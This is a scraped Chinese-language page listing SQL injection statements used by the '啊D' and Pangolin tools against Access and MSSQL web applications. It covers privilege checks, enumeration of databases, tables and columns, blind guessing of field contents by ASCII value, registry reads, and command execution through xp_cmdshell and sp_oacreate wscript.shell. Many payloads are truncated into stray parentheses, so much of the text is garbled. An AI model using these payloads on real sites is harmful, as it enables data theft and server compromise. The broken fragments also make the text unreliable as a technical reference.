
正文
啊D工具语句 适合Access和Mssql注入
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
啊D注入工具中使用的SQL注入语句
爆user
)) )= | *****
?Id))
: ?Id
: Id
检查SA权限:))))
爆当前库: )) --
检查是否为mssql数据库:and exists (select * from sysobjects)
(*%20from%20sysobjects)
判断表名:
panolin: ?Id
admin也可以编码:%6E
啊D:?Id([admin])
爆列名:
啊D:([admin])
panolin:
判断记录数:
()
判断admin表中有几个记录 如: cstr() 转换成字符型就是"" 那么他的长度就是2,所以这里
阿D: ()) 判断在0-9999之间,这句是判断在0-8之间
(,))))
记录数的第一位 也就是0
(,))))
记录数的第二位 也就是1 所以
猜字段长度:
Article.asp?Id((()) 第一条记录的字段长度
第一条
Article.asp?Id((()) 第二条记录的字段
第二条
阿D:
Article.asp?Id(( 判断第一条记录的字段长度0-32之间
第二条
Article.asp?Id(( 判断第二条记录的字段长度0-32之间
两个top 保留一个top ,改另外一个成top x 就可以猜第x个字段长度 或改最后一个top (pangolin就是改最后一个top来爆第N杀记录的长度)
猜字段内容:
(,)))(()) 第一条记录、第一位的asc码
(,)))(()) 第19位的asc码
阿D:
(,))( 第一条记录、第7位的asc码在30~80之间
第一条
第二条
(,))( 第二条记录、第7位的asc码在30~80之间
猜中文:
(,)))) 第一个列的内容是不是》
(,)))) 第二个列是不是》
检查数据库中有多少个库:)) ))) ) )
爆第一个库: )) ) --
爆第N个库: )) ) --
爆有多少个列名:)))) id )))))))))
爆列名: )) id )))))))) --
读注册表:
))--
) ',@result);--
)) ))) --
执行CMD
),ID ,)) insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:\'--
)))) --
执行WSCRIPT:
DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out EXEC sp_oamethod @s,[run], NULL, [cmd.exe /c dir c:\] --
恢复XP_CMDSHELL
;exec master..sp_dropextendedproc 'xp_cmdshell'--







